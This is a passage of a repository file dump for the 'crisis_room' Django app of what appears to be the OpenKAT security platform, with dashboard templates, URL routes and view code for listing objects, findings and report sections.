    "content": "{% load i18n %}\n{% load static %}\n{% load crisis_room %}\n\n<table>\n    <caption class=\"visually-hidden\">\n        {% translate \"Objects \" %}\n        <span class=\"visually-hidden\">, {% translate \"column headers with buttons are sortable\" %}</span>\n    </caption>\n    <thead>\n        <tr>\n            {% for column_value in dashboard_item.settings.columns %}\n                <th>{{ column_value|get_column_name_object_list }}</th>\n            {% endfor %}\n        </tr>\n    </thead>\n    <tbody>\n        {% for object in data.object_list %}\n            <tr>\n                {% for column_value in dashboard_item.settings.columns %}\n                    <td>\n                        {% if column_value == \"object\" %}\n                            <a href=\"{% ooi_url \"ooi_detail\" object.primary_key organization.code observed_at=observed_at %}\">{{ object.human_readable }}</a>\n                        {% endif %}\n                        {% if column_value == \"object_type\" %}\n                            <a href=\"{{ request.path }}?observed_at={{ observed_at|date:\"Y-m-d\" }}&ooi_type={{ object.ooi_type }}\">{{ object.ooi_type }}</a>\n                        {% endif %}\n                        {% if column_value == \"clearance_level\" %}\n                            {% include \"partials/scan_level_indicator.html\" with value=object.scan_profile.level.value %}\n\n                        {% endif %}\n                        {% if column_value == \"clearance_type\" %}{{ object.scan_profile.scan_profile_type|title }}{% endif %}\n                    </td>\n                {% endfor %}\n            </tr>\n        {% endfor %}\n    </tbody>\n</table>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/delete_dashboard_item_modal.html",
    "content": "{% load i18n %}\n\n{% with modal_id=\"delete-item-modal-\"|add:item_id form_id=\"delete-item-form-\"|add:item_id %}\n    {% component \"modal\" modal_id=modal_id size=\"dialog-small\" %}\n    {% fill \"header\" %}\n    {% translate \"Delete item\" %}\n{% endfill %}\n{% fill \"content\" %}\n<p>\n    {% blocktranslate trimmed with name=name %}\n        Are you sure you want to delete '{{ name }}' from this dashboard?\n    {% endblocktranslate %}\n</p>\n<form class=\"hidden\" id={{ form_id }} method=\"post\" action=\"{% url \"delete_dashboard_item\" organization_code=organization.code %}\">\n    {% csrf_token %}\n    <input type=\"hidden\" name=\"dashboard_item_name\" value=\"{{ name }}\">\n    <input type=\"hidden\" name=\"dashboard_item_id\" value=\"{{ item_id }}\">\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button form={{ form_id }} type=\"submit\" class=\"destructive\">{% translate \"Delete\" %}\n</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n{% endwith %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/delete_dashboard_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=\"delete-dashboard-modal\" size=\"dialog-small\" %}\n{% fill \"header\" %}\n{% translate \"Delete dashboard\" %}\n{% endfill %}\n{% fill \"content\" %}\n<p>\n    {% blocktranslate trimmed with dashboard=dashboard.name %}\n        Are you sure you want to delete dashboard '{{ dashboard }}'?\n        All the items on the dashboard will be deleted as well.\n    {% endblocktranslate %}\n</p>\n<form id=\"delete-dashboard-form\"\n      class=\"hidden\"\n      method=\"post\"\n      action=\"{% url \"delete_dashboard\" organization_code=organization.code %}\">\n    {% csrf_token %}\n    <input type=\"hidden\" name=\"dashboard_name\" value=\"{{ dashboard.name }}\">\n    <input type=\"hidden\" name=\"dashboard_id\" value=\"{{ dashboard.id }}\">\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\" form=\"delete-dashboard-form\" class=\"destructive\">{% translate \"Delete\" %}</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/new_dashboard_item_action_button.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n<div class=\"dropdown\">\n    <button aria-label=\"{% translate \"Actions for adding dashboard items\" %}\"\n            aria-controls=\"add-item-dropdown\"\n            aria-expanded=\"false\"\n            class=\"dropdown-button ghost\">\n        {% translate \"Add item\" %}\n        <span class=\"icon ti-chevron-down\" aria-hidden=\"true\"></span>\n    </button>\n    <div id=\"add-item-dropdown\"\n         class=\"dropdown-list\"\n         aria-labelledby=\"add-item-dropdown-button\">\n        <ul>\n            <li>\n                <a href=\"{% url \"ooi_list\" organization_code=organization.code %}\">{% translate \"Objects\" %}</a>\n            </li>\n            <li>\n                <a href=\"{% url \"finding_list\" organization_code=organization.code %}\">{% translate \"Findings\" %}</a>\n            </li>\n            <li>\n                <a href=\"{% url \"report_history\" organization_code=organization.code %}\">{% translate \"Report section\" %}</a>\n            </li>\n        </ul>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/new_dashboard_item_explanation_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=\"dashboard-item-explanation-modal\" size=\"dialog-small\" %}\n{% fill \"header\" %}\n{% translate \"Add dashboard item\" %}\n{% endfill %}\n{% fill \"content\" %}\n<p>\n    {% blocktranslate trimmed %}\n        To  add a <strong>report section</strong>, go to the history page and open a report.\n        Then go to the section that you want to add to your dashboard and press the options button next to the\n        section name to create a dashboard item.\n    {% endblocktranslate %}\n</p>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<a class=\"button\"\n   href=\"{% url \"report_history\" organization_code=organization.code %}\">{% translate \"Go to report history\" %}</a>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/new_dashboard_item_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=\"new-dashboard-item-modal\" size=\"dialog-medium\" %}\n{% fill \"header\" %}\n{% blocktranslate with item_type=item_type %}\n    Add {{ item_type }} to dashboard\n{% endblocktranslate %}\n{% endfill %}\n{% fill \"content\" %}\n{% if add_dashboard_item_form.dashboard|length > 1 %}\n    <p>\n        {% blocktranslate with item_type=item_type trimmed %}\n            Add these {{ item_type }} with the selected filters\n            to the dashboard of your choice.\n        {% endblocktranslate %}\n    </p>\n    <form method=\"post\" id=\"new-dashboard-item-form-{{ modal_id }}\">\n        {% csrf_token %}\n        {% include \"partials/form/form_errors.html\" with form=add_dashboard_item_form %}\n        {% include \"partials/form/fieldset.html\" with fields=add_dashboard_item_form form_view=\"horizontal\" %}\n\n    </form>\n{% else %}\n    <div class=\"message\">\n        <div class=\"explanation\"\n             role=\"group\"\n             aria-label=\"{% translate \"explanation\" %}\">\n            <div>\n                <span>{% translate \"You do not have a custom dashboard yet\" %}</span>\n                <p>\n                    {% blocktranslate with item_type=item_type trimmed %}\n                        In order to add these {{ item_type }} to a dashboard,\n                        you first need to create a dashboard. Please add a\n                        dashboard in the crisis room of your organization.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </div>\n    </div>\n{% endif %}\n{% endfill %}\n{% fill \"footer_buttons\" %}\n{% if add_dashboard_item_form.dashboard|length > 1 %}\n    <button type=\"submit\"\n            form=\"new-dashboard-item-form-{{ modal_id }}\"\n            class=\"submit\"\n            name=\"action\"\n            value=\"add_to_dashboard\">{% translate \"Add to dashboard\" %}</button>\n{% else %}\n    <a class=\"button\"\n       href=\"{% url \"organization_crisis_room_landing\" organization.code %}\">{% translate \"Go to crisis room\" %}</a>\n{% endif %}\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/new_dashboard_item_modal_report_section.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=modal_id size=\"dialog-medium\" %}\n{% fill \"header\" %}\n{% translate \"Add report section to dashboard\" %}\n{% endfill %}\n{% fill \"content\" %}\n{% if recipe_ooi.cron_expression and add_dashboard_item_form.dashboard|length > 1 %}\n    <form method=\"post\" id=\"new-dashboard-item-form-{{ modal_id }}\">\n        {% csrf_token %}\n        {% include \"partials/form/form_errors.html\" with form=add_dashboard_item_form %}\n        {% include \"partials/form/fieldset.html\" with fields=add_dashboard_item_form form_view=\"horizontal\" %}\n\n        <input type=\"hidden\" name=\"recipe_id\" value=\"{{ recipe_ooi.recipe_id }}\">\n        <input type=\"hidden\" name=\"source\" value=\"{{ report_pk }}\">\n        <input type=\"hidden\" name=\"template\" value=\"{{ template }}\">\n    </form>\n{% elif recipe_ooi.cron_expression %}\n    <div class=\"message\">\n        <div class=\"explanation\"\n             role=\"group\"\n             aria-label=\"{% translate \"explanation\" %}\">\n            <div>\n                <span>{% translate \"You do not have a custom dashboard yet\" %}</span>\n                <p>\n                    {% blocktranslate trimmed %}\n                        In order to add this report section to a dashboard,\n                        you first need to create a dashboard. Please create a\n                        dashboard in the crisis room of your organization.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </div>\n    </div>\n{% else %}\n    <div class=\"message\">\n        <div class=\"explanation\"\n             role=\"group\"\n             aria-label=\"{% translate \"explanation\" %}\">\n            <div>\n                <span>{% translate \"Report must be scheduled for dashboard items\" %}</span>\n                <p>\n                    {% blocktranslate trimmed %}\n                        In order for dashboard information to be updated on a regular basis\n                        instead of showing static data, the report should be scheduled.\n                        The frequency of the schedules recurrence determines how fresh\n                        the data on the dashboard will be.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </div>\n    </div>\n{% endif %}\n{% endfill %}\n{% fill \"footer_buttons\" %}\n{% if recipe_ooi.cron_expression and add_dashboard_item_form.dashboard|length > 1 %}\n    <button type=\"submit\"\n            form=\"new-dashboard-item-form-{{ modal_id }}\"\n            class=\"submit\">{% translate \"Add to dashboard\" %}</button>\n{% elif recipe_ooi.cron_expression %}\n    <a class=\"button\"\n       href=\"{% url \"organization_crisis_room_landing\" organization.code %}\">{% translate \"Go to crisis room\" %}</a>\n{% else %}\n    <a class=\"button\"\n       href=\"{% ooi_url \"ooi_edit\" recipe_ooi organization.code %}\">{% translate \"Edit report recipe\" %}</a>\n{% endif %}\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/new_dashboard_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=\"new-dashboard\" size=\"dialog-small\" %}\n{% fill \"header\" %}\n{% translate \"Add dashboard\" %}\n{% endfill %}\n{% fill \"content\" %}\n<form id=\"new-dashboard-form\"\n      method=\"post\"\n      action=\"{% url \"add_dashboard\" organization_code=organization.code %}\">\n    {% csrf_token %}\n    {% include \"partials/form/fieldset.html\" with fields=add_dashboard_form %}\n\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\" form=\"new-dashboard-form\" class=\"submit\">{% translate \"Add dashboard\" %}</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/report_dashboard_item_filter.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"filter\">\n    <div>\n        {% if type == \"report-section\" %}\n            <button aria-expanded=\"false\"\n                    data-hide-filters-label='{% translate \"Objects\" %}'>{% translate \"Objects\" %}</button>\n        {% else %}\n            <button aria-expanded=\"false\"\n                    data-hide-filters-label='{% translate \"Applied filters\" %}'>\n                {% translate \"Applied filters\" %}\n            </button>\n        {% endif %}\n    </div>\n    <form>\n        {% if type == \"report-section\" %}\n            <div class=\"horizontal-scroll\">\n                {% if recipe.input_recipe.query %}\n                    {% with query=recipe.input_recipe.query %}\n                        <dl>\n                            <div>\n                                <dt>{% translate \"Object types\" %}</dt>\n                                <dd>\n                                    {{ query.ooi_types|join:\", \" }}\n                                </dd>\n                            </div>\n                            <div>\n                                <dt>{% translate \"Clearance level\" %}</dt>\n                                <dd>\n                                    {{ query.scan_level|join:\", \" }}\n                                </dd>\n                            </div>\n                            <div>\n                                <dt>{% translate \"Clearance type\" %}</dt>\n                                <dd>\n                                    {{ query.scan_type|join:\", \" }}\n                                </dd>\n                            </div>\n                        </dl>\n                    {% endwith %}\n                {% else %}\n                    <dl>\n                        <div>\n                            <dt>{% translate \"Input objects\" %}</dt>\n                            <dd>\n                                {% with oois=input_oois|slice:\":10\" %}{{ oois|join:\", \" }}{% endwith %}\n                            </dd>\n                        </div>\n                    </dl>\n                    {% if input_oois|length > 10 %}\n                        <div class=\"toolbar\">\n                            <a class=\"button ghost\"\n                               href=\"{% url \"view_report\" dashboard_item.data.report.organization_code %}?report_id={{ dashboard_item.data.report.primary_key }}&observed_at={{ dashboard_item.data.report.observed_at|date:\"Y-m-d H:i:s:u\" }}#selected-oois\">\n                                {% translate \"Show all objects\" %}\n                                <span class=\"icon ti-chevron-right\" aria-hidden=\"true\"></span>\n                            </a>\n                        </div>\n                    {% endif %}\n                {% endif %}\n            </div>\n        {% else %}\n            {% if dashboard_item.item.query %}\n                {% with query=dashboard_item.item.get_query %}\n                    <dl>\n                        {% for filter, value in query.items %}\n                            {% if value %}\n                                <div>\n                                    <dt>{{ filter|capfirst }}</dt>\n                                    <dd>\n                                        {% if filter == \"ooi_type\" %}\n                                            {{ value|join:\",\" }}\n                                        {% else %}\n                                            {{ value }}\n                                        {% endif %}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                        {% endfor %}\n                    </dl>\n                {% endwith %}\n            {% else %}\n                <li>{% translate \"No filters applied\" %}</li>\n            {% endif %}\n        {% endif %}\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/report_section_action_button.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"dropdown\">\n    <button id=\"action-dropdown-button\"\n            type=\"button\"\n            aria-label=\"{% translate \"Add section to dashboard\" %}\"\n            aria-haspopup=\"menu\"\n            aria-controls=\"action-dropdown\"\n            aria-expanded=\"false\"\n            class=\"icon-only ti-dots-vertical dropdown-button\"></button>\n    <div id=\"action-dropdown\"\n         class=\"dropdown-list\"\n         role=\"menu\"\n         aria-labelledby=\"action-dropdown-button\">\n        <ul role=\"presentation\">\n            <li>\n                <a href=\"#{{ modal_id }}\" data-modal-id=\"{{ modal_id }}\">{% translate \"Add section to dashboard\" %}</a>\n            </li>\n        </ul>\n    </div>\n</div>\n{% include \"partials/new_dashboard_item_modal_report_section.html\" %}\n\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/crisis_room/templatetags/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/crisis_room/templatetags/crisis_room.py",
    "content": "from django import template\n\nfrom rocky.views.mixins import FINDING_LIST_COLUMNS, OBJECT_LIST_COLUMNS\n\nregister = template.Library()\n\n\n@register.filter\ndef get_column_name_finding_list(column_value: str) -> str:\n    return FINDING_LIST_COLUMNS.get(column_value, \"\")\n\n\n@register.filter\ndef get_column_name_object_list(column_value: str) -> str:\n    return OBJECT_LIST_COLUMNS.get(column_value, \"\")\n"
  },
  {
    "path": "rocky/crisis_room/urls.py",
    "content": "from django.urls import path\n\nfrom . import views\n\n# Crisis room overview urls\nurlpatterns = [\n    path(\"\", views.CrisisRoomView.as_view(), name=\"crisis_room\"),\n    path(\"<organization_code>/<int:id>/\", views.OrganizationsCrisisRoomView.as_view(), name=\"organization_crisis_room\"),\n    path(\n        \"<organization_code>/\",\n        views.OrganizationsCrisisRoomLandingView.as_view(),\n        name=\"organization_crisis_room_landing\",\n    ),\n    path(\"<organization_code>/add/\", views.AddDashboardView.as_view(), name=\"add_dashboard\"),\n    path(\"<organization_code>/update-item/\", views.UpdateDashboardItemView.as_view(), name=\"update_dashboard_item\"),\n    path(\"<organization_code>/delete/\", views.DeleteDashboardView.as_view(), name=\"delete_dashboard\"),\n    path(\"<organization_code>/delete-item/\", views.DeleteDashboardItemView.as_view(), name=\"delete_dashboard_item\"),\n]\n"
  },
  {
    "path": "rocky/crisis_room/views.py",
    "content": "import json\nfrom dataclasses import dataclass\nfrom datetime import datetime, time, timezone\nfrom typing import Any\nfrom uuid import UUID\n\nimport structlog\nfrom account.mixins import OrganizationView\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.core.exceptions import PermissionDenied\nfrom django.db import IntegrityError\nfrom django.db.models.manager import BaseManager\nfrom django.http import HttpResponse\nfrom django.http.request import HttpRequest\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.text import slugify\nfrom django.views.generic import TemplateView\nfrom django.views.generic.edit import FormView\nfrom httpx import HTTPStatusError, ReadTimeout\nfrom pydantic import Field\nfrom reports.report_types.findings_report.report import SEVERITY_OPTIONS\nfrom tools.forms.ooi_form import _EXCLUDED_OOI_TYPES\n\nfrom crisis_room.forms import AddDashboardForm\nfrom crisis_room.models import MAX_POSITION, Dashboard, DashboardItem\nfrom octopoes.config.settings import DEFAULT_SCAN_LEVEL_FILTER, DEFAULT_SCAN_PROFILE_TYPE_FILTER\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference, ScanLevel, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.findings import RiskLevelSeverity\nfrom octopoes.models.ooi.reports import HydratedReport\nfrom octopoes.models.types import get_collapsed_types, type_by_name\nfrom rocky.bytes_client import get_bytes_client\nfrom rocky.views.mixins import FindingList\n\nlogger = structlog.get_logger(__name__)\n\n\n@dataclass\nclass DashboardItemView:\n    item: DashboardItem | None = None\n    data: dict[str, Any] = Field(default_factory=dict)\n\n\nclass DashboardService:\n    @staticmethod\n    def get_organizations_findings(report_data: dict[str, Any]) -> dict[str, Any]:\n        findings = {}\n        highest_risk_level = \"\"\n        if \"findings\" in report_data and report_data[\"findings\"] and report_data[\"findings\"][\"finding_types\"]:\n            finding_types = report_data[\"findings\"][\"finding_types\"]\n            highest_risk_level = finding_types[0][\"finding_type\"][\"risk_severity\"]\n            critical_high_finding_types = list(\n                filter(\n                    lambda finding_type: finding_type[\"finding_type\"][\"risk_severity\"] == \"critical\"\n                    or finding_type[\"finding_type\"][\"risk_severity\"] == \"high\",\n                    finding_types,\n                )\n            )\n            report_data[\"findings\"][\"finding_types\"] = critical_high_finding_types[:25]\n\n        findings = report_data | {\"highest_risk_level\": highest_risk_level}\n        return findings\n\n    def get_reports(self, valid_time: datetime, report_filters: list[tuple[str, str]]) -> dict[UUID, HydratedReport]:\n        \"\"\"\n        Returns for each recipe ID query'ed, the latest (valid_time) HydratedReport.\n        \"\"\"\n\n        if report_filters:\n            org_code, _ = report_filters[0]\n            # We need at least 1 org connector to fetch reports from all other orgs.\n            connector = OctopoesAPIConnector(\n                settings.OCTOPOES_API, org_code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n            )\n            try:\n                return connector.bulk_list_reports(valid_time, report_filters)\n            except (HTTPStatusError, ObjectNotFoundException, ReadTimeout) as error:\n                logger.error(\"An error occurred: %s\", error)\n                return {}\n        return {}\n\n    @staticmethod\n    def get_report_bytes_data(raw_ids: list[str]) -> dict[str, dict[str, Any]]:\n        \"\"\"\n        Return for each raw id key its bytes content value across all member organizations.\n        \"\"\"\n        # When organization is None, data is fetched across all organizations.\n        bytes_client = get_bytes_client(None)\n        try:\n            return bytes_client.get_raws_all(raw_ids)\n        except (HTTPStatusError, ObjectNotFoundException, ReadTimeout) as error:\n            logger.error(\"An error occurred: %s\", error)\n            return {}\n\n    def get_dashboard_items(self, dashboard_items: BaseManager[DashboardItem]) -> list[DashboardItemView]:\n        dashboard_items_with_data: list[DashboardItemView] = []\n\n        recipes_data = {}\n        reports_data = {}\n\n        raw_ids = []\n        report_filters = []\n\n        # First collect al data, if recipe id is found then fetch recipe ids to get reports later.\n        for dashboard_item in dashboard_items:\n            if not dashboard_item.recipe and dashboard_item.source == \"object_list\":\n                item_data = DashboardItemView(dashboard_item, self.get_ooi_list(dashboard_item))\n                dashboard_items_with_data.append(item_data)\n            elif not dashboard_item.recipe and dashboard_item.source == \"finding_list\":\n                item_data = DashboardItemView(dashboard_item, self.get_finding_list(dashboard_item))\n                dashboard_items_with_data.append(item_data)\n            elif dashboard_item.recipe:\n                report_filters.append((dashboard_item.dashboard.organization.code, str(dashboard_item.recipe)))\n                recipes_data[dashboard_item] = dashboard_item.recipe\n\n        if recipes_data:\n            # Returns for each recipe id, its Hydrated report.\n            reports: dict[UUID, HydratedReport] = self.get_reports(datetime.now(timezone.utc), report_filters)\n\n            # After reports are collected, collect data raw ids to fetch data from Bytes later.\n            for dashboard_item, recipe_id in recipes_data.items():\n                try:\n                    if (\n                        dashboard_item.findings_dashboard or not dashboard_item.source\n                    ):  # Report section from aggregate report\n                        hydrated_report = reports[recipe_id]\n                    else:  # Report section from a normal report\n                        octopoes_client = OctopoesAPIConnector(\n                            settings.OCTOPOES_API,\n                            dashboard_item.dashboard.organization.code,\n                            timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT,\n                        )\n                        hydrated_report = octopoes_client.get(\n                            Reference.from_str(dashboard_item.source), datetime.now(timezone.utc)\n                        )\n                    raw_ids.append(hydrated_report.data_raw_id)\n                    reports_data[dashboard_item] = hydrated_report\n                except KeyError:\n                    continue\n\n            # Get report data from bytes, per data raw id its report data\n            report_data_from_bytes: dict[str, dict[str, Any]] = self.get_report_bytes_data(raw_ids)\n\n            # Finally merge all data necessary and create dashboard items to show on the dashboard.\n            for dashboard_item, hydrated_report in reports_data.items():\n                item_data = DashboardItemView(dashboard_item, {\"report\": hydrated_report})\n                octopoes_client = OctopoesAPIConnector(\n                    settings.OCTOPOES_API,\n                    dashboard_item.dashboard.organization.code,\n                    timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT,\n                )\n\n                try:\n                    report_data = report_data_from_bytes[hydrated_report.data_raw_id]\n\n                    if dashboard_item.findings_dashboard:\n                        report_data = self.get_organizations_findings(report_data)\n\n                    report = item_data.data[\"report\"]\n\n                    if dashboard_item.recipe and dashboard_item.source:\n                        parent_report_id = hydrated_report.report_recipe.replace(\"ReportRecipe\", \"Report\")\n                        parent_report = octopoes_client.get_report(parent_report_id, report.observed_at)\n                        item_data.data.update(\n                            {\"parent_report\": {\"primary_key\": parent_report.primary_key, \"name\": parent_report.name}}\n                        )\n                    recipe = octopoes_client.get(report.report_recipe, report.observed_at)\n                    item_data.data.update({\"report_data\": report_data, \"recipe\": recipe})\n                    dashboard_items_with_data.append(item_data)\n                except KeyError:\n                    continue\n\n        return dashboard_items_with_data\n\n    @staticmethod\n    def get_organizations_findings_summary(organizations_findings: list[DashboardItemView]) -> dict[str, Any]:\n        summary: dict[str, Any] = {\n            \"total_by_severity_per_finding_type\": {severity: 0 for severity in SEVERITY_OPTIONS},\n            \"total_by_severity\": {severity: 0 for severity in SEVERITY_OPTIONS},\n            \"total_finding_types\": 0,\n            \"total_occurrences\": 0,\n        }\n\n        summary_added = False\n\n        for findings in organizations_findings:\n            if \"findings\" in findings.data[\"report_data\"] and \"summary\" in findings.data[\"report_data\"][\"findings\"]:\n                for summary_item, data in findings.data[\"report_data\"][\"findings\"][\"summary\"].items():\n                    if isinstance(data, dict):\n                        for severity, total in data.items():\n                            summary[summary_item][severity] += total\n                            summary_added = True\n                    else:\n                        summary[summary_item] += data\n                        summary_added = True\n\n        if not summary_added:\n            return {}\n\n        return summary\n\n    def get_ooi_list(self, dashboard_item) -> dict[str, Any]:\n        query = json.loads(dashboard_item.query)\n        ooi_list = []\n\n        all_oois = {\n            ooi_class for ooi_class in get_collapsed_types() if ooi_class.get_ooi_type() not in _EXCLUDED_OOI_TYPES\n        }\n        all_scan_levels = DEFAULT_SCAN_LEVEL_FILTER\n        all_scan_profile_types = DEFAULT_SCAN_PROFILE_TYPE_FILTER\n\n        ooi_types = (\n            {type_by_name(t) for t in query[\"ooi_type\"] if t not in _EXCLUDED_OOI_TYPES}\n            if query[\"ooi_type\"]\n            else all_oois\n        )\n        scan_level = (\n            {ScanLevel(int(cl)) for cl in query[\"clearance_level\"]} if query[\"clearance_level\"] else all_scan_levels\n        )\n        scan_profile_type = (\n            {ScanProfileType(ct) for ct in query[\"clearance_type\"]}\n            if query[\"clearance_type\"]\n            else all_scan_profile_types\n        )\n\n        octopoes_client = OctopoesAPIConnector(\n            settings.OCTOPOES_API,\n            dashboard_item.dashboard.organization.code,\n            timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT,\n        )\n\n        observed_at = (\n            datetime.strptime(query[\"observed_at\"], \"%Y-%m-%d\") if query[\"observed_at\"] else datetime.now(timezone.utc)\n        )\n        # for now we check till end of day\n        valid_time = datetime.combine(observed_at.date(), time(23, 59, 59), tzinfo=timezone.utc)\n\n        ooi_list = octopoes_client.list_objects(\n            ooi_types,\n            valid_time=valid_time,\n            limit=query[\"limit\"],\n            scan_level=scan_level,\n            scan_profile_type=scan_profile_type,\n            search_string=query[\"search\"],\n            order_by=query[\"order_by\"],\n            asc_desc=query[\"sorting_order\"],\n        ).items\n\n        return {\"object_list\": ooi_list}\n\n    def get_finding_list(self, dashboard_item) -> dict[str, Any]:\n        query = json.loads(dashboard_item.query)\n        finding_list = []\n\n        severities = set()\n        for severity in query[\"severity\"]:\n            try:\n                severities.add(RiskLevelSeverity(severity))\n            except ValueError as e:\n                messages.error(e)\n\n        octopoes_client = OctopoesAPIConnector(\n            settings.OCTOPOES_API,\n            dashboard_item.dashboard.organization.code,\n            timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT,\n        )\n\n        limit = query[\"limit\"]\n\n        muted_findings = query[\"muted_findings\"]\n        exclude_muted = muted_findings == \"non-muted\"\n        only_muted = muted_findings == \"muted\"\n\n        observed_at = (\n            datetime.strptime(query[\"observed_at\"], \"%Y-%m-%d\") if query[\"observed_at\"] else datetime.now(timezone.utc)\n        )\n        # for now we check till end of day\n        valid_time = datetime.combine(observed_at.date(), time(23, 59, 59), tzinfo=timezone.utc)\n\n        finding_list = FindingList(\n            octopoes_connector=octopoes_client,\n            valid_time=valid_time,\n            severities=severities,\n            exclude_muted=exclude_muted,\n            only_muted=only_muted,\n            search_string=query[\"search\"],\n            order_by=query[\"order_by\"],\n            asc_desc=query[\"sorting_order\"],\n        )[:limit]\n\n        return {\"finding_list\": finding_list}\n\n\nclass CrisisRoomView(TemplateView):\n    \"\"\"This is the Crisis Room for all organizations.\"\"\"\n\n    template_name = \"crisis_room.html\"\n\n    def setup(self, request: HttpRequest, *args: Any, **kwargs: Any) -> None:\n        super().setup(request, *args, **kwargs)\n\n        dashboard_service = DashboardService()\n        if self.request.user.has_perm(\"tools.can_access_all_organizations\"):\n            dashboard_items = DashboardItem.objects.filter(findings_dashboard=True)\n        else:\n            dashboard_items = DashboardItem.objects.filter(\n                dashboard__organization__in=self.request.user.organizations, findings_dashboard=True\n            )\n\n        self.organizations_findings = dashboard_service.get_dashboard_items(dashboard_items)\n        self.organizations_findings_summary = dashboard_service.get_organizations_findings_summary(\n            self.organizations_findings\n        )\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [{\"url\": reverse(\"crisis_room\"), \"text\": \"Crisis room\"}]\n        context[\"dashboard_items\"] = self.organizations_findings\n        context[\"organizations_findings_summary\"] = self.organizations_findings_summary\n        return context\n\n\nclass OrganizationsCrisisRoomLandingView(OrganizationView, TemplateView):\n    template_name = \"organization_crisis_room.html\"\n\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any):\n        default_dashboard = Dashboard.objects.filter(organization=self.organization).first()\n        if default_dashboard:\n            return redirect(\n                reverse(\n                    \"organization_crisis_room\",\n                    kwargs={\"organization_code\": self.organization.code, \"id\": default_dashboard.id},\n                )\n            )\n\n        return super().get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"add_dashboard_form\"] = AddDashboardForm\n        return context\n\n\nclass OrganizationsCrisisRoomView(OrganizationView, TemplateView):\n    \"\"\"This is the Crisis Room for a single organization.\"\"\"\n\n    template_name = \"organization_crisis_room.html\"\n\n    def setup(self, request: HttpRequest, *args: Any, **kwargs: Any) -> None:\n        super().setup(request, *args, **kwargs)\n        self.dashboard_service = DashboardService()\n        dashboard_id = kwargs[\"id\"]\n\n        try:\n            self.dashboard = Dashboard.objects.get(id=dashboard_id, organization=self.organization)\n            dashboard_items = DashboardItem.objects.filter(dashboard=self.dashboard).order_by(\"position\")\n            items = sorted(\n                self.dashboard_service.get_dashboard_items(dashboard_items),\n                key=lambda x: x.item.position if x.item else MAX_POSITION + 1,\n            )\n            self.dashboard_items: list[DashboardItemView] | None = items\n\n        except Dashboard.DoesNotExist:\n            messages.error(request, \"Dashboard does not exist.\")\n            self.dashboard = None\n            self.dashboard_items = None\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"dashboards\"] = Dashboard.objects.filter(organization=self.organization)\n        context[\"dashboard\"] = self.dashboard\n        context[\"dashboard_items\"] = self.dashboard_items\n        context[\"add_dashboard_form\"] = AddDashboardForm\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\n                    \"organization_crisis_room_landing\", kwargs={\"organization_code\": self.organization.code}\n                ),\n                \"text\": \"Crisis room\",\n            }\n        ]\n        return context\n\n\nclass DeleteDashboardView(OrganizationView):\n    \"\"\"Delete the selected dashboard.\"\"\"\n\n    def post(self, request, *args, **kwargs) -> HttpResponse:\n        dashboard_name = request.POST.get(\"dashboard_name\")\n        dashboard_id = request.POST.get(\"dashboard_id\")\n\n        if not self.organization_member.can_delete_dashboard:\n            raise PermissionDenied()\n\n        try:\n  